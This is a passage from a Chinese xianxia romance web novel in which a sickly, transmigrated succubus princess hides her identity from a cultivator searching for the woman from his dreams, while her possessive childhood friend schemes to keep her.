“谁啊......”绯棠揉着眼睛,还带着浓浓的睡意。
等等,原本有些睡眼惺忪的她猛地清醒过来,看向徐女官,“阿荣,你说谁来了?”
“天玄宗,来接殿下的。据说是天玄宗宗主的得意弟子,修为很是高深。如今就在御书房拜见陛下。”
天玄宗宗主的得意弟子?
一听这话,绯棠脸上的笑都僵了下来,小声问:“阿荣啊,天玄宗的宗主有几个弟子啊?”
“有两个,一个是殿下的胞兄四皇子,一个是谢迟砚谢仙君。”
绯棠抿唇,“那来接本宫的......”
“来接殿下的是谁,陛下倒是没说。”
绯棠叹了一口气,垂眸看了看身上的红色寝衣,沉默了片刻。
不知是想到了什么,她又起身走到梳妆镜前,吩咐道:“算了阿荣,你把那套素净的衣衫拿出来,就是那套白裙,本宫从未穿过的那套。”
“是,殿下。”
为了以防万一,绯棠换下了最爱的红裙,刻意将自己往另一个风格去装扮。
少顷,梳妆镜前,她看着铜镜里映出来的面容。轻轻抬手去摸了摸眉眼处,“阿荣,本宫如今看起来和之前还像不像?”
“殿下......”徐女官呆呆地望着铜镜中映出来的面容,没能说出来话。
那是一张与往常完全是不一样感觉的脸。若是从前的殿下美得张扬,只是一张面容便可将人勾魂夺魄。
那么如今的殿下便是仙气飘飘的神女,似是刻意将往常的那股勾人气质尽数收敛了,看起来平添了几分骨秀神清.......
徐女官失语,唤了她一声却没能说出来什么话。
绯棠挑了挑眉,“阿荣怎么这样看着本宫,可是觉着本宫今日与往常不太一样?”
徐女官点了点头,又摇了摇头。
白衣与红衣自是两种不同的风格,可她家殿下怎样都好看,哪怕是换了一套衣衫,也是极好看的。
谁知梳妆镜子前的绯棠听了她的话后,心里镇定了几分,便起身道:“走吧,我们去会会那北境来的小仙君。”
坤元殿,御书房。
袅袅龙涎香从香炉里飘起,与满室的墨香与书香晕染在一起。
“你师尊近来可好?”
檀木长案后,女皇将目光投到几步外站着的少年身上。
少年一袭白色弟子服饰,头戴莹白莲花冠,眉眼疏离淡漠。
他不卑不亢道:“师尊身体康健,并无不妥。”
女皇看着他,隐隐从他身上能看得见那人的影子,静默半晌,又问起来被那人带走的孩子,“炘儿呢?他如何?”
“陈师弟于修行一途还算顺遂,亦无不妥。”
从窗外吹来的风将桌案上摆放的香炉上、将那燃起的香烟吹散,女皇看着少年人冷冰冰的模样,禁不住道:“谢小仙君,朕的长宁自小体弱多病,但在这皇城中被朕护得很好,这一路上还望小仙君多加照料。”
谢迟砚颔首,“自当如此。”
女皇见他不冷不淡,没什么表情的模样,又道:“小仙君可有想要的?但说无妨。”
想要的?
这话才说出来,那女皇就发现这北境来的小仙君面上的神情多了些变动,他似乎有些纠结,却又在几息后道:“回陛下,晚辈确实有一事要请您相助。晚辈想寻一女子,她就在帝都。”
“女子?”
女皇威严肃重的眼神中多了些探究。
据她所知这叫谢迟砚的少年在北境是赫赫有名的仙门首席,风衍那厮对他更是寄予厚望,如今这个模样......
是有心上人了?
“是,晚辈要寻一女子。”
与女皇说话的人正是谢迟砚。
站
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在长案前方的谢迟砚一袭白衣清冷绝尘,一张脸冷冰冰的,可却能从他的眉眼间中看出些许烦躁与不安。
自入了南界他便再没做梦,可绯棠那日的神情与说过的话却没有随着她的消失而变淡,反而让他怅然若失。
越想不在意便越来越在意。
直到今日,她已经五日没入他的梦了。而且,哪怕他再怎么回想,那梦中人的面容都是模糊。
长案后的女皇见谢迟砚心神不宁的模样,不禁好奇道:“那女子是何模样,你可能画得出来?”
谢迟砚紧紧抿唇,还未说话。
这时候,书房外的女官进来传话,“陛下,殿下来了。”
一听到这话,女皇眼中当即有了暖意,“让长宁进来。”
绯棠进来后先是瞧了眼谢迟砚,确定来人真的是他后,又不着痕迹地收回视线,朝着女皇行礼。
“母皇。”
女皇见她今日没穿一贯喜欢的红裳,眉眼间也多了几分端庄,一时间不知道她这小女儿这是在作何,沉默了片刻才道:“长宁,这是天玄宗谢迟砚。”
绯棠顺势看向谢迟砚,却见到他紧紧抿唇,眉头微微皱起,看起来心情不太好。
他怎么了?
才有这个想法,就见到谢迟砚抬眸看她,一双眼睛冷冰冰的,和她第一次入梦见到的一样,没有一点笑意,眉眼间带着惯有的疏离淡漠。
绯棠默了默,片刻后朝着他颔首,“谢仙君。”
她如今着白衣,常说素白色衣衫穿好了便显得人俏。她本就有极佳的容色,如今一颦一笑间温和有礼,当真是担得起第一美人的称号。
不过如今的样子倒是与梦里那个跳脱性子、红裳的模样判若两人。
她朝他打招呼,可惜谢迟砚却像是个瞎子一样,毫无怜香惜玉之心,仅仅是扫了她一眼便面无表情地移开视线,“殿下。”
瞧这神情,显然是没认出来她。
绯棠悄悄松了口气,移开视线时,正听见母皇对谢迟砚说:“你要寻找心上人,可记得那女子的模样,可还有别的线索?”
心上人?女子?线索?
谢迟砚刚才说了什么?
绯棠抿紧唇,刚转头,就听见谢迟砚回道:“陛下,晚辈要找的人原本是江阴人士,幼时家中遭遇变故,父母双亡后来了帝都投靠姨母,应还是殷实富裕之家。”
“至于她生得是何种模样,晚辈也记不清了。”
“?”绯棠的眼睫控制不住地颤了颤,这说辞......
怎么听着这么耳熟。
“她的名字叫绯棠。”
绯棠心头“咯噔”一跳,谢迟砚在找她!!!
他找她做什么?别不是这几日没入梦,他担心她出了危险,才这样迫切地要寻到她?
女皇问出了她心底的疑惑:“你寻她作何,莫非那叫绯棠的女子,当真是你的心上人?”
绯棠悄悄抬眼,飞快地瞥了谢迟砚一眼,他那张冰块脸上依旧没什么表情,却偏偏没有否认。
上方的女皇像是懂了,笑道:“你该知道我这南界是以女子为尊。你寻她,是要嫁给她,还是要将她带去天玄宗?别怪朕没提醒你,我南界的女子向来是三夫四侍,可不同于你们北境依附强者的女修,要与旁人共侍一夫。”
谢迟砚并未正面回答,而是道:“晚辈寻她只为见她一面。”
寻她只为见她一面?
绯棠对他的话有些摸不着头脑,他又不是要嫁给她当老婆,找她干什么?
不能是那夜做的事刺激到他了,他气不过,想找到现实世界来一剑给她解决了?
不...应该不会吧?
绯棠被自己的脑补吓得脸都僵住了。
7. 第 7 章
女皇不知道绯棠就是谢迟砚要找的人。
现在听了谢迟砚说的话,又瞥见绯棠明显怔住的模样,忍俊不禁道:“据我所知,你师尊风衍对你寄予厚望。他若是听见你这话,只怕会提着雷霆剑扒了你的皮。届时,你可会护着她?”
“既是由晚辈起的事端,晚辈自会负责到底。”谢迟砚道。
女皇对他的话有些失笑,“负责到底?你这小辈倒是有些魄力,比你那老古板师尊好多了。”
暗戳戳听着的绯棠竖起八卦的耳朵,突然想起来一个传言。
说女皇与天玄宗宗主有过一段情,可惜一个是北境宗主,一个是南界女皇,各有责任在身,不得已分开了。
她甚至偷偷怀疑自己那位从未见过的父君,就是天玄宗宗主。
“母皇,你和风衍宗主很熟吗?”
女皇看向她,挑了挑眉:“若是关系不怎么样,如何能让他将最器重的弟子送来南界?”
说着说着,女皇颇有些看好戏的意味道:“说起来你与这谢小仙君还有些缘分呢。当年风衍不愿留在南界,却答应了朕若你安然长大成人,他门下弟子便任由你挑。”
“朕看这谢小仙君便不错,长宁觉得呢?”
绯棠:“.......”
她家母上大人是觉得事情还不够乱吗?
“母皇说笑了,谢仙君已经有了心上人,如何能做我的夫郎。”
虽然那个心上人就是她。
女皇不知怎的意味深长地看着绯棠,没说。
片刻后,她才移开视线看向谢迟砚,“朕会帮你寻那心上人。”
谢迟砚如同没听见女皇方才的玩笑话,拱手致谢,“晚辈多谢陛下。”
“行了,今日你们既然见了面,便回去好生歇息。待明日祈福一事过后,便可启程前往天玄宗,退下吧。”
绯棠:“是。”
谢迟砚:“是。”
告别女皇,绯棠和谢迟砚才从书房出来,二人渐渐走出坤元殿,顺着宫道往长宁殿的方向走。
宫道两侧的朱红宫墙在日光下泛着沉郁的光,绯棠走在稍靠后的位置。
谢迟砚的身影就在几步之外,白衣胜雪,脊背挺得笔直。此刻隔着这几步的距离,竟比梦境里多了几分让人不敢轻易靠近的疏离。
见他这般模样,梦里那些缠人拉扯的画面突然涌上心头,绯棠轻轻动了动唇,想问他寻她做什么?
可话到嘴边,又被她咽了回去。
谢迟砚本就是修士,即便在南界无法使用术法,五感也是异于常人。绯棠这犹犹豫豫,有些欲言又止的模样落在谢迟砚眼中便以为她不习惯与他相处。
他停了下来,语气听不出情绪,“公主若是不习惯与陌生人相处,可先行回殿中。”
陌生人?
“仙君说笑了。”绯棠抬头看他,稳住心神道:“本宫要与谢仙君同行前去天玄宗,怎能不习惯与陌生人相处。”
她说着,加快了半步,与他并肩而行,却始终保持着一拳的距离。风吹起她的裙摆,扫过他的衣袍一角,她像被烫到似的往旁边挪了挪,脸上依旧挂着得体的笑。
这副模样,瞧着端庄有礼,可那微微绷紧的肩背,还有说话时偶尔卡顿的语气,都像是在小心翼翼地维持着表面的平静。
有些奇怪。
谢迟砚眸色微动。
又听见她说:“谢仙君,本宫从未离开过帝都,却也听闻天玄宗的谢仙君是仙门千年难遇的天才。此去天玄宗,有劳仙君护我周全。”
“无妨。”谢迟砚抬眸看向她,“殿下不必放在心上,本君既已接下这个任务,自会尽心而为。”
话落,他又移开视线。
绯棠见他这般疏离,她心下又起了试探之心。
一边理了理挂在身上的香包,指尖无意识地摩挲着上面的流苏,故作不经意道:“可据本宫所知,这是仙君第一次来帝都,怎会识得我帝都的女子?”
她想试探一番,谢迟砚会不会把梦境相见的事说出去。
可问出这话后,谢迟砚却久久没有接话,宫道上只剩风吹过树叶的沙沙声。
“仙君?”
绯棠顺势抬眸看他,却猛地愣住了,方才还冷冷清清的谢迟砚,不知怎么的,眉眼间竟多了几分郁气。
那抹躁郁之气在他素来清冷的脸上,显得格外突兀,像是平静的面容之下藏了什么汹涌的情绪。
绯棠摆弄着香包的手都僵住了,声音里带着点不易察觉的慌张:“谢仙君,你怎么了......”
可这份情绪外露只在一霎那。
他倏地垂眸,长长的睫毛在眼下投出一片阴影,像是在极力收敛心神,再开口时,言语间更添了几分疏远:“本君如何,与殿下无关。”
绯棠张了张嘴,见他垂着眼,一副不听不看也不想搭理她的模样,瞬间哑口无言,指尖的香包被攥得有些变形。
“殿下。”
这时候,一道声音从不远处传来,绯棠的脚步忽然顿住看了过去。
不远处的宫墙下,祁卿正站在那儿。他显然等了许久,墨绿锦袍的下摆被风掀起,发丝有些凌乱。
他抬眼望过来,目光掠过并肩而立的两人,最后落在绯棠脸上,嘴角弯了弯,又唤了一声,“殿下。”
原本就因为谢迟砚心情格外复杂的绯棠,一见到他头更大了。
自那日去了醉仙楼找了兰溪得到谢迟砚的身世后,帝都就有传言说醉仙楼的花魁得了长宁公主的青睐,甚至专门去寻他作画,二人孤男寡女在包间里待了许久。
这么旖旎的传言,又牵扯到皇家,更是一发不可收拾。而祁卿这个本来要成为皇女正君的世家公子更是被牵扯进去。
谣言越传越乱,越传越露骨。甚至有人说祁大公子一直待在皇宫里,就是想要让长宁公主回心转意。
这传言于她没什么影响,只是添了一桩风流韵事。可是在女尊男卑的地界里,这些谣言反而对男子影响更大。
思绪回笼,绯棠望向墙下的祁卿,指尖在袖中轻轻蜷了蜷。
“大公子是专程在此等本宫?”
“是。”祁卿走近几步,温和的眸子定定落在她身上,见她今日扮相、神情都与往日不同,眼底便掠过几丝波澜,又不动声色地扫过一旁的谢迟砚,“这位便是天玄宗来的仙君吧?殿下过几日便要与他离京?”
绯棠轻轻“嗯”了一声,侧头看向谢迟砚。
此刻的谢迟砚已不见方才的情绪外露,目光冷肃如冰,又变回那个高不可攀的小仙君。
绯棠抿了抿唇,斟酌着开口,声音放得温和:“谢仙君,这是左相的大公子祁卿。”
谢迟砚:“祁大公子。”
“谢仙君。”祁卿嘴角漾着笑意。
绯棠见他们互相见礼后谁都没再说话,一时间又看看这个,又看看那个,莫名其妙的有点儿心慌?
“你们......”
她张了张唇想要说什么,便听见谢迟砚道:“殿下既与祁大公子有话要谈,本君便先行一步。”
话落,他便走了。
绯棠默默咽下来想要说的话,眼看着他越走越远,才悄悄松了口气。
正抬手揉了揉因刻意端着仪态而发僵的脸颊,一抬头,正撞进祁卿含笑的眼眸。
“你笑什么?”她挑眉,语气里带了点熟稔的随意。
祁卿轻摇着头,语气温柔得像春日暖风:“没
什么,只是觉得这样的殿下,很是招人喜欢。”
很招人喜欢?绯棠揉脸的动作一顿。
还没等她细想,又听他道:“卿听闻天玄宗的绛英池有生死人肉白骨之能,殿下此去,定能将身子调养妥当。卿会一直等殿下回来的那日......”
会等她回来?
绯棠抬头看他,恰见从他头顶探出一枝栀子花,一朵花瓣悠悠落在他的发间,衬得他愈发温润如玉。
祁卿生得极好,才学亦是出众,素来受世家贵女们追捧。
可谁都知道,祁大公子心里只有皇女长宁,眼里也只容得下她。
绯棠也知道。
不过她轻轻动了动眼睫,抬眸顺着花瓣飘落的轨迹望向宫墙内的栀子花,声音轻得像叹息:“都说了,本宫自己都不知道哪日会突然没了。本宫若是死了
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,你若是作为皇女正君,按律便不得改嫁,便只能守着活寡过一辈子。你我自小一同长大,本宫怎能害你......”
她顿了顿,又道,语气里带了点认真:“而且,你有治国安邦的才智,比起嫁人,入官场为自己谋个前程,不是更好吗?”
南界虽是女尊男卑,却也有少数男官,只是选拔任用的条件格外苛刻。
首要便是绝对认同女性权威,更重要的是......不得嫁入皇室。
偏偏这些和祁卿的想法完全相背。
“殿下......”祁卿的声音里带上了几分急意,望着她的眼神满是恳切。
绯棠却摇了摇头,转身往长宁殿走时,脚步慢了半分,低声道:“祁大公子,这皇太女的位置只有一个,你该清楚本宫那几个皇姐的手段。本宫这一离开帝都,她们的争斗只会愈演愈烈。你是左相嫡子,她们要拉拢你母亲,定会先从你下手。”
“殿下!”祁卿这次的语气重了许多,带着坚定,“我若不愿,谁也逼不了我。”
绯棠叹了口气。
她如今是真的在数着日子过活,说不定哪一天就没了。可该说的都说了,他还是半点不动摇,她是真的没辙了。
“算了,”她摆摆手,语气里带了点无奈,“本宫现在也拿你没有办法。”
听见她话锋有变,祁卿眼底刚泛起一丝欣喜,却又听见她说:“不过本宫生性放荡不羁爱自由,或许去了北境看了更广阔的天地,就不愿意再回来帝都当个笼中鸟。更有甚者,还会喜欢上外面的那些俊美儿郎。”
“对了,本宫看那个叫谢迟砚的小仙君还不错,生得好看,修为也高。”
说着,她抬头看他,见他脸色有些僵硬难过,一时间有些犹豫,可片刻后还是狠下心来认真道:“所以本宫要告诉你......为本宫守身如玉,一直等着本宫,是一件很傻的事。”
“本宫......给不起你一生一世一双人的承诺。”
这是实话。
就现在,她的世界里已经多了一个谢迟砚。可梦境主人又不止他一个,她还会进入更多人的梦境。
“殿下......”祁卿眉眼含着郁气,再一次喊着她,似乎还想唤起她内心深处对他的不忍与情愫。
可绯棠却移开视线不再看他,直直往长宁殿的方向走。
一时间,宫道上的二人竟生出几分说不清道不明的滞涩。
可这才走了没几步,一拐弯就见到抱着溯光剑,靠在朱红宫墙那儿,明显在等着她的谢迟砚。
绯棠:“!”
他怎么没走,一直在这里?
“你......”绯棠有些紧张。
“谢仙君怎还在此处?”
谢迟砚朝着她颔首,语气平淡:“本君不知长宁殿在何处,又见这宫道上无人可问,恐走错了地方生出事端来,便在此地等候。如今可以走了?”
绯棠闻言四处看了看,见周围真的连个宫女侍卫都没有,才后知后觉今日宫中竟这般冷清。
她轻轻“嗯”了一声:“可以。”
三人往长宁殿走,气氛却有些怪异。
绯棠悄悄瞥向谢迟砚,心里打鼓:他方才听见了多少?会不会起疑心?指尖在袖中绞来绞去,脚步都慢了半分。
祁卿见她目光频频飘向谢迟砚,神色愈发晦暗。
方才她那句“会喜欢上外面的俊美儿郎,谢仙君看起来不错”,像根刺扎在他心头,让他呼吸都沉了几分。
谢迟砚察觉到绯棠的视线,却故作不知。
他本刻意站得远,起初没听清她与祁卿的对话,可两人越靠越近,终究还是听见了那句:“本宫要告诉你,为本宫守身如玉,一直等着本宫是一件很傻的事。本宫给不起你一生一世一双人的承诺。”
只觉这位长宁公主,果断真诚中透着几分绝情,竟与那让他心神不宁的梦中人,出奇地相似。
而且......他垂眸看着地面,指尖无意识地摩挲着剑柄。
这位长宁公主虽看着是个端庄守礼的,可方才她与那叫祁卿的说话时,那不经意间流露出来的神态动作却像极了她。
8. 第 8 章
绯棠不知谢迟砚已经起了疑心,就在这时候,走在她左侧的祁卿已经收敛好心神,一如往常那般温和地与她低声说着话。
“殿下,这谢仙君已经到了,那明日的祈福可还照常进行?”
绯棠轻轻摇头,“应是没有变动的,方才本宫去见了母皇,她并未说明日不去承业寺。”
“这样啊......”祁卿轻轻抬眼在最右侧的谢迟砚身上停顿片刻,又淡淡移开视线。“那谢仙君来得还挺巧,能一睹祈福盛况。”
这......
绯棠侧过头看向谢迟砚,明日祈福乃是钦天监择定的日子,是为了向南界的神明祈求平安。
这平安是为了她求的。
几日前钦天监的苏女官算出来她在明日有一死劫,唯有祈福之力或可破解。
这么想着,绯棠若有所思地看着谢迟砚。
谢迟砚今日到了帝都明摆着要找她,难不成她明日的死劫和他有关?
“殿下何故如此看本君?”谢迟砚目光幽幽,盯着她看。
他在探究,他似乎是发现了什么?
“!”绯棠猛地控制住面部表情。
他突然说:“殿下在害怕?”
绯棠佯装镇定,“祈福而已,本宫有何可怕的?”
“是吗?”
绯棠移开视线,面上是一副淡定自若的模样,可袖子下的手早就抠紧了。
一旁静静看着他们的祁卿,不知是否看出来他们二人间那点儿微妙的气氛,温声道:“谢仙君有所不知,明日祈福与殿下息息相关,殿下这是在为此忧心。”
谢迟砚没什么表情,不知是信他的话还是不信。“原来如此。”
绯棠只觉得心里毛毛的,总有一种不太妙的感觉。
却仍是保持着神态不漏怯。
几人心中各有各的弯弯绕绕。
一路到了长宁殿,都没人再说话。
进了殿内,绯棠就见到了意料之外的人,脚步顿了顿:“大皇姐,你怎么来了?”
寝殿内,倚靠在贵妃椅上的大皇女身着黑袍,手里把玩着白瓷茶盏,听见她进来眼皮都没抬:“回来得倒巧,再晚一步,本宫可要出宫了。”
“......大皇姐在等我?”绯棠有些不确定道。
只见到大皇女慢悠悠起身,抬眸之际目光便扫过绯棠身后,那站在殿外的谢迟砚与祁卿,一时间微微眯了眯眼,“哟,今日这长宁殿倒是热闹得很啊,让本宫猜猜,祁大公子身边站的那位就是北境来的小仙君吧?”
绯棠顺着她的视线看过去,有些拿捏不准她今日来此的目的。
却还是回她,“皇姐,这位是谢迟砚谢仙君,风衍宗主门下大弟子。”
“是吗?”大皇女若有所思地点头,“这么说来,他就是四弟口中那光风霁月的大师兄了?”
大皇女口中的四弟是四皇子陈炘,本来与绯棠是龙凤双生,只是二人降生那日生了事端。
十八年前女皇分娩时并非在皇宫,而是在西郊古寺。
那时,女皇携百官于承业寺祈福,腹中胎儿尚未足月。可那日亥时,寺庙里突然失火,火势从西边小殿迅速蔓延,女皇所在的厢房也受到牵连,甚至因着突如其来的火势动了胎气提前分娩。
最先出来的是四皇子陈炘,而五皇女或许是在胎中便养分不够,又因为在母体中停留时间太长,降生后便体弱瘦小。
火势还未平息,女皇又因接连诞下两个婴孩晕厥了过去,承业寺里更是乱成了一片。
谁都没注意到小小的五皇女已经在襁褓中咽了气,而绯棠就是在那时候穿越过来的。
那时候她的魂体还很强大,可就是因为这具躯体生机尽断只能用她魂体中的能量来维持生气。若是寻常人即便是穿越过来也是没法活的。为了维持生命,能量只出不进的绯棠才越来越虚弱,后才被断定活不过成年。
而她的胞兄在火灾后便被女皇送去了天玄宗,回帝都的次数屈指可数。
或许是深信她活不过十八岁的传言,今年皇兄便回帝都待了月余,与他们提起在天玄宗的日子时提到最多的,就是“光风霁月的大师兄”。
听大皇女这样说,绯棠轻轻扫了眼看不出是什么情绪的谢迟砚,点了点头,“皇兄说的便是谢仙君。”
“那这么说来,四弟说得倒是没错。这位谢仙君确实有几分仙人之资。”
“不过嘛......”大皇女不知是怎的故意停顿了片刻,又意味深长地看向依旧笑得温和的祁卿,“咱们祁大公子论起容色与才情亦是不遑多让,五妹可别因为和这位小仙君一路北上去往天玄宗就移情别恋了,不然我们祁大公子可是要伤心的。”
移情别恋?
绯棠听着这话脑袋就疼,一时间有些心情复杂地道:“皇姐说笑了。”
“说笑?本宫从不与人说笑。”
不过大皇女也没想与绯棠说这些风流事,她今日来此可不是说这些的,说话间就从袖中摸出个锦囊扔给绯棠:“收着。”
绯棠接住朝她飞过来的红色锦囊,这小玩意看起来很是精巧,通体红色,上面还绣着金线祥云,小巧又精致好看。
不过这东西是和她关系不算好的大皇女给的,绯棠一时间有些不确定地看过去:“皇姐这是何意?”
“出宫后危险重重,这里面是通关文牒,本宫让人改了籍贯。别让人知道你是宫里出去的,能少些是非。”
绯棠:“?”
她捏着手中的锦囊,抬头看大皇女,眼里满是疑惑,这行为和话里面的意思是......
大皇姐想帮她?
什么时候她这大皇姐这么好了?
“长宁这是什么眼神?”大皇女瞪眼,没好气道,“再怎么说你也是本宫的亲妹妹,本宫还能害了你不成?”
见绯棠一双美眸无辜地望着自己,看着那张脸,大皇女心里的火气莫名就灭了,嘟囔道:“...算了,你向来是个傻的,连去个青楼都能被里面的人利用,本宫还能对你有什么期待。”
“等去了北境把病治好,本宫护你后半生无忧便是。”
绯棠眨巴着眼睛,轻轻“啊?”了一声,声音带着点茫然。
大皇姐对她的态度怎么变得这么快?
[宿主,我还没有给你说,在你第一次入梦成功后,这具躯体已经和你的灵魂相适配了。现在你的魅魔能力也能在这具躯体上显现出来,也就是说你现在天然地能让其他人对你产生好感。]
绯棠猛地瞪大了眼睛,怪不得连一向和她关系不怎么好的大皇姐都转变了态度,原来是因为这!
她这一会儿茫然,一会儿恍然大悟的样子落在大皇女眼中,让她再次皱起眉头,“啊什么啊?你这样子离开帝都真的能行吗?”
“对了,本宫今日来此是为了明日的祈福。明日去承业寺你跟紧我,莫要真同钦天监女官口中说的那样,在明日出了事,连北境都去不了了。”
绯棠微微转了转眼睛,她其实不是很明白,这祈福之力当真那么厉害能让她度过死劫?
那几日前她还没绑定系统的时候怎么不用祈福之力去救她?
难道是因为导致她死的原因不一样?
大皇女见她眼睛一转,只以为她又在想什么坏主意,连忙瞪她,“听见没有?少将你那些撒娇躲懒的招数对本宫,本宫可不是母皇,会吃你那一套。”
绯棠抿了抿唇,她哪
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儿想什么坏主意了。
“皇姐......”却只能乖乖应道:“我知道了。”
大皇女这才满意地点头,“行了,本宫这就要回府了,你且放宽心,会没事的。”
绯棠看着一边说话一边走出去的大皇女,目光有些复杂。
还是应声:“知道了。”
大皇女朝她摆了摆手,路过祁卿和谢迟砚时,意味深长地扫了眼祁卿,随后淡定移开视线离开了。
人走了。
祁卿和谢迟砚依旧站在殿外,绯棠看着他们只觉得头疼。
“你们......”她想寻个由头将两人赶出去她的长宁殿。
“殿下。”
恰在这时候,一直安静站着的祁卿突然说话,“卿在玖月楼设了宴,殿下可否与卿一同前往?”
玖月楼?
绯棠敏锐地雷达再一次响了起来,她好像在梦里面和谢迟砚提到过玖月楼!
她的脸不可避免地僵了僵,刚要拒绝,就看见祁卿看向了谢迟砚,“如今长宁殿上下正在为殿下出行一事做准备,怕是没法招待谢仙君,仙君也一起吧。”
“!”
绯棠连忙道:“谢仙君今日才到的帝都,一路舟车劳顿,不如......”
就留在皇宫休息吧。
谢迟砚却不等她说完话就道:“那便多谢祁大公子了。”
“?”绯棠嘴里的话猛地咽了回去。
谢迟砚要和他们一起去玖月楼!
谢迟砚倏地抬眸盯着她看,“殿下方才想对本君说什么?”
那眼神沉沉,似乎带着些危险性,看得绯棠眉心一跳,她连忙收敛心神,“没什么。”
“是吗?”谢迟砚眼眸微动间追问,“可为何殿下看向本君的眼神有些......欲言又止呢。而且,本君看着殿下也有些似曾相识之感。”
“怎......怎会?”绯棠脸上那得体的笑差点没控制住,“谢仙君许是看错了,本宫不曾出过帝都,谢仙君在北境,本宫如何能与你相识?”
谢迟砚步步紧逼,“此间世界多了诡谲奇幻之事,或许不在现实世界也能相见呢?”
他这话只差直接挑明了!
绯棠手心都快抠破了。
他认出来!
不能吧?
不,不能慌......
这里可是南界。
对了,这里是南界啊,对任何超出于凡人的力量都会有压制的南界!
他一定没有确定,他是在诈她!
瞬息之间,绯棠松开了紧紧抠着的手,面上并无不妥,依旧挂着得体的笑,“仙君说笑了,诡谲奇幻之事在我南界怎会存在?”
谢迟砚本是一直盯着她看,细细捕捉她的异样,如今听见她这样说很爽快就移开视线,不再追问。
绯棠没法从他那张面无表情的脸上看出来是信还是不信,可他这不显山不露色的,就像是一时兴起诈她一诈,没成功也没事,他又沉寂下来,等着找机会又去搞她心态!
她之前怎么没发现谢迟砚这么狗呢?
祁卿与绯棠本就是青梅竹马,自小一起长大的,他了解她比了解他自己还多,如今见她神色有异,眸光暗了暗。
不过他不认为绯棠和谢迟砚是旧识,只是以为绯棠真的要和她之前说的那样,要“喜欢上北境的俊美儿郎”。
“殿下!”
他加大音量去吸引绯棠的视线。
“怎么了?”绯棠如他所愿地看向他。
祁卿见到她又重新看过来,心中的阴暗才重新收敛。
他朝着她笑得温和好看,“既然要一同去玖月楼,如今天色也不早了,可以走了。”
9. 第 9 章
日头高悬,宫墙下,两辆装饰华美的马车辘辘地驶出皇宫。
马车内,绯棠看着与她同乘一辆的祁卿,又想到刚才谢迟砚的追问没忍住叹了口气。
“殿下何故叹气?”
祁卿与她面对面坐着,如今正将目光从窗外掠过的街景上收回,温和地道,“可是卿有何处不妥?”
他说话时唇角依旧噙着的浅淡笑意。
一如往常那般滴水不漏。
可绯棠却觉得脑袋疼。
眼前之人端的是谦谦公子模样,一身青衫称得人俊逸非常。不提这身气度,他这张脸也是极好看的,实在不像是会与旁人争风吃醋的样子。
可就在刚才,这人非要与她同乘一辆马车出宫,还“很好心”地将他的马车让给了谢迟砚,美名其曰“仙君初来乍到一人独处会更舒适些”......
但若是真的为了谢迟砚考虑,又何必将他一并约去玖月楼?
与陌生人一同吃饭不是会更不适吗?
这样做倒像是在给谢迟砚一个下马威。
祁卿却噙着笑,温和的嗓音中似乎藏了深意,“卿所做之事不过是想要与殿下多些独处的时间,哪儿会有旁的想法?”
他微微停顿几息,又定定地看着她道:“不过既然说了这话,卿便多说几句。殿下方才不还说那小仙君模样好看,若是出了帝都只怕是要被他给迷了眼。殿下既然想要钟情于旁人,卿为了殿下自然是什么事都能做得出来......”
她刚才说的话是这意思?
她当时说的话分明是想打消他为了等她消耗时光的心,想让他为他自己而活,怎么到他耳朵里就只听见这一句!
绯棠咬了咬牙,“你这是断章取义。”
“卿哪儿敢呀。”祁卿端坐在绯棠前方,与她面对面坐着,如今说话颇有几分委屈巴巴的意味。
“卿不过是一心只有殿下,听见殿下要喜欢上旁人,心里难受得紧。卿心里难受,殿下......殿下竟然还要责怪卿。”
说话间他竟红了眼眶,如同遭受了莫大的冤屈一般。
“你......”绯棠无语扶额,他这矫揉造作的模样看着怎么这么眼熟呢?
她垂眸不看他了,祁卿眼底掠过几丝暗色,故意往前微微倾了倾身,低低地唤了她一声,“殿下...”
“殿下为何不看卿,可是卿惹殿下厌烦了?”
语气也是委屈的。
绯棠:“......”
想起来了,她在梦里面哄骗谢迟砚时装的可不就是这个调调。
“...没有。”
这法子用在她自己身上也同样适用,现在即便是知道他在装无辜,也拿他没招。
“那殿下能否答应卿一件事?”
绯棠头疼地盯着他,“别顺杆子往上爬,又要本宫答应你什么?”
“不难的,”祁卿一双眼睛里漾起来笑意,“殿下只需好好与卿走上这一遭,就在玖月楼,什么都不需要做。”
绯棠叹气,“本宫答应你就是了。”
话落,便闭上眼睛不再和他说话了。
她是闭上了眼睛,可身前的祁卿却倏地敛下笑意,一双眼睛直勾勾地盯着她,那眸子里全无方才的敬意,眼神黏黏糊糊的,丝毫不掩饰对她的情.欲。
这帝都谁都知晓祁家大公子心悦于长宁公主,心中也只放得下一个长宁公主。
却无人知晓他为何会对长宁公主这般情根深种。
祁卿看着眼前人,眸色幽幽。
他幼时过得并不好,亲生父亲在他三岁时便撒手人寰,在以女子为尊的地界里,只是男子的他自然无法得到母亲过多的重视,渐渐便被遗忘在相府后宅中。
可无父亲庇护的稚子如何能有好日子过?食不果腹,受尽白眼。
万幸他是左相正君所出,乃是嫡长子。恰逢三皇子要入国子学,需在世家公子间寻上几个伴读一同前往。他才顺利入了国子学。
那年他才七岁。
便是在国子学,他遇见了小小的长宁公主。
那时的殿下便生得极好,在国子学里一同听学时,各家贵女公子们争着抢着与她玩儿,诸位太傅也最是喜爱她。
而他却只能隐在暗处偷偷看她,那时的他便比同龄之人早熟得多,长年在后宅生长,也让他懂得如何利用唯一的优势一点一点、设计去靠近她。
他生了一张好的皮囊,便是因着这副皮相才得以接近她,在与她逐渐熟络起来后,他又慢慢占据她身边的位置,成了她的青梅竹马。
可是后来,她的身体一日比一日差,便极少出现在国子学。
那时他便在想,若他与殿下是亲密无间的关系,便可以日日见着殿下了。
彼时的他还不完全明白何为“亲密无间”,只想着要永远和殿下待在一处。这念头未能随着年岁渐长而淡去,反而越演越烈,直到今日他竟生出了执念。
他无法想象殿下若是喜欢上了旁人......
不!殿下只能是他的。
马车突然颠簸了一下,“嘎吱”一声,颠得绯棠的脑袋撞到了后面的车壁,不过瞬息之间,祁卿就敛下眉眼,将眼中露骨的欲.望收得滴水不漏。
一边担忧道:“殿下没事吧?”
“没事......”绯棠迷迷糊糊地抬手揉了揉被撞到的后脑勺,随后又调整了位置继续闭目养神。马车平稳地往前走,这带着轻微的摇晃竟让她睡着了。
丝毫不知道自己的青梅竹马是颗黑心白皮汤圆。
马车驶进了热闹的夕照街,不多时便到了玖月楼。
“殿下,玖月楼到了。”
不同于立在湖上的醉仙楼,这玖月楼临街而设,坐落于闹市中心。
这地方上至百官、下至黎民百姓都可以进入。无论在哪儿,有人的地方吃瓜群众也多。
